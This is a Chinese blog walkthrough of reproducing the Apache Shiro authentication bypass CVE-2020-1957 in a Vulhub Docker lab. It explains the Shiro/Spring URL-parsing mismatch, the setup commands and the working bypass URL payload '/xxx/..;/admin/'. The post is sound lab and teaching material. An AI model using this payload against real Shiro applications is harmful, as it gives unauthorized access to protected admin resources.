当前位置: 首页 > news >正文

Shiro_认证绕过漏洞复现:原理详解+环境搭建+渗透实践(CVE-2020-1957)

目录

一、Shiro_认证绕过漏洞(CVE-2020-1957)

1、漏洞简介

2、漏洞原理

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

2、下载 Vulhub

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

三、渗透实战

1、访问环境

2、构造Payload


本文通过vulhub靶场的Shiro认证绕过漏洞关卡讲解Shiro认证漏洞原理(CVE-2020-1957)、渗透环境搭建与渗透全流程。

一、Shiro认证绕过漏洞(CVE-2020-1957)

1、漏洞简介

CVE-2020-1957 是 Apache Shiro 框架中一个身份验证绕过漏洞。攻击者通过构造特殊的请求 URL,可以绕过 Shiro 的权限控制,直接访问本应受保护的资源。

漏洞特征描述
漏洞编号CVE-2020-1957
漏洞类型身份验证绕过 (Authentication Bypass)
影响组件与 Spring 框架集成的 Apache Shiro 应用
受影响版本Apache Shiro < 1.5.2 (部分利用方式影响至 1.5.0 之前版本)
CVSS 评分7.5 (高危)
漏洞披露时间2020年3月23日

2、漏洞原理

该漏洞的根源在于 Shiro 和 Spring 框架对 URL 的解析和处理存在差异(即"差异化解析")。Shiro 的权限拦截器在判断是否需要对一个 URL 进行认证时,其解析方式可能与后续 Spring 处理该请求时的解析方式不同。攻击者正是利用这种差异,构造特殊的 URL 使得 Shiro 认为该请求不需要认证,但 Spring 最终却将其路由到需要认证的控制器(Controller)上,从而绕过安全检测。两种主要的绕过方式:

  • 斜杠 (/) 绕过(CVE-2020-11989 等):在 Shiro 旧版本(如 1.5.0 之前)中,若配置的权限规则为 /admin/*,Shiro 的 Ant 风格路径匹配器认为此规则不匹配像 /admin/xxx/ 这样以斜杠结尾的路径。但 Spring 框架却可能将 /admin/xxx/ 和 /admin/xxx 视为相同的路径。因此,访问 http://example.com/admin/protected/(注意末尾斜杠)可能绕过 Shiro 认证。

  • 分号 (;) 绕过(CVE-2020-1957):这是 CVE-2020-1957 的主要攻击方式。对于包含;的 URL(如/xxx/..;/admin/),Shiro 与 Spring 的处理流程截然不同:

    • Shiro 的处理流程:
      • 分号截断:通过WebUtils.getRequestUri()调用decodeAndCleanUriString,将分号后的内容截断,仅保留/xxx/..。
      • 路径标准化:调用normalize()处理/./和/../,最终得到/xxx(假设/xxx无需认证)。
    • Spring 的处理流程:
      • 分号移除:通过UrlPathHelper的removeSemicolonContent方法,移除分号及其后的内容,得到/xxx/../admin。
      • 路径解析:Spring 将/xxx/../admin解析为/admin,并匹配对应的路由(如/admin需认证)。

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Shiro_认证绕过漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

# 进入Shiro认证绕过漏洞(CVE-2020-1957)的漏洞环境目录
cd shiro 
cd CVE-2020-1957

4、启动漏洞环境

在CVE-2020-1957目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

docker-compose up -d

如下所示命令执行后,Docker 会完成拉取一个包含shiro:1.5.1(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器b9873c409e8e属于 Vulhub 搭建的CVE-2020-1957漏洞复现环境(容器名均为 CVE-2020-1957)

docker ps           
CONTAINER ID   IMAGE                 COMMAND                  CREATED          STATUS          PORTS                                             NAMES
b9873c409e8e   vulhub/shiro:1.5.1   "java -jar /shirodem…"   6 minutes ago   Up 5 minutes   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp         cve-2020-1957_web_1

字段解释
容器 IDb9873c409e8e此容器的唯一标识符(通常为完整哈希的前12位)。用于执行针对此容器的命令(如 docker exec -it b9873c409e8e bash 进入容器)。
镜像vulhub/shiro:1.5.1此容器是从哪个镜像创建的。vulhub/shiro:1.5.1 是 Vulhub 项目专门为复现此漏洞构建的镜像,它包含了一个存在 CVE-2020-1957 漏洞的 Apache Shiro 1.5.1 版本的演示应用。
命令"java -jar /shirodem…"容器启动时运行的初始命令。这里被截断了,完整命令很可能是 java -jar /shiro-demo.jar 或类似内容。这表明容器启动了一个 Java 应用程序,运行了一个打包好的 JAR 文件,这个 JAR 文件就是存在漏洞的 Shiro 演示应用。
创建时间6 minutes ago容器是在 6 分钟前被创建(docker-compose up)的。
状态Up 5 minutes容器已运行了 5 分钟,Up 状态表明容器正在正常运行中,可以提供服务。
端口0.0.0.0:8080->8080/tcp, :::8080->8080/tcp• 0.0.0.0:8080->8080/tcp: 将容器内部的 8080 端口映射到了宿主机的所有网络接口(IPv4)的 8080 端口。
• :::8080->8080/tcp: 同上,但针对的是 IPv6 地址。
结论:你可以在宿主机上通过 http://localhost:8080 或 http://<宿主机IP>:8080 来访问这个存在漏洞的 Shiro 应用。
名称cve-2020-1957_web_1容器的名称。这个名字是由 Docker Compose 自动生成的,格式通常是 {目录名}_{服务名}_{序号}。 web 是在 docker-compose.yml 文件中定义的服务名称。

三、渗透实战

1、访问环境

访问 启动bp,浏览器开启bp代理,访问http://192.168.59.128:8080即可进入shiro渗透环境,如下所示。

访问http://192.168.59.128:8080/admin,网页被重定向到登陆页面 。

http://192.168.59.128:8080/login.html

2、构造Payload

构造payload:/xxx/..;/admin/,成功绕过验证进入到admin账户页面。

http://[目标机IP]:[端口号]/xxx/..;/admin/

以我的环境为例,IP地址为192.168.59.128,端口号为8080,访问网页。

http://192.168.59.128:8080/xxx/..;/admin/

如下所示,认证机制被绕过,浏览器上看到的是登录成功页面。

http://www.dtcms.com/a/478108.html

相关文章:

  • 三维实时渲染应用开发及场景设计
  • RK3588 + 银河麒麟部署 swarm 集群指南
  • 基于 PyTorch 实现 MNIST 手写数字识别
  • 网站建设找王科杰信誉wordpress企业产品列表
  • 深入 Spring 依赖注入底层原理
  • WebRTC技术如何实现音视频通话
  • 韩国免费行情网站的推荐理由门户网站建设工作会议
  • Python psycopg2 教程
  • 5CEBA2U15I7N 阿尔特拉 Altera Cyclone V FPGA
  • 辉县市工程建设网站建设网站做宣传的免费渠道有那种
  • 2025年10月13日总结
  • perl-Test-Simple-1.302195-5.fc39.noarch.rpm 怎么安装?Fedora 39 安装步骤讲解
  • 图像处理之浓度(AI 调研)
  • 问答网站建设怎么提问郑州网站建设网络推广
  • T:堆的基本介绍
  • Spide - Personal Blog Magazine WordPress Theme Download
  • 使用江科大串口发送函数发送freertos的vTaskList出现跑飞
  • 关于做书的网站中国人做跨电商有什么网站
  • asp网站上传到服务器上之后一打开就是download嘟嘟嘟在线观看播放免费
  • 网站域名审核时间兰州做网站一咨询兰州做网站公司
  • Transformer实战(22)——使用FLAIR进行语义相似性评估
  • Kubernetes:初始化集群(导入Rancher2)
  • 通用:JVM垃圾回收机制
  • Shell脚本技巧:去除文件中字符串两端空白
  • python内置模块-re模块介绍使用
  • JavaWeb后端实战(事务文件上传[本地上传与阿里云OSS上传])
  • USB通讯学习
  • 成都哪里可以做网站涿州网站建设天峰
  • 最新MPAS跨尺度、可变分辨率模式实践技术应用及典型案例分析
  • DSP EDMA3使用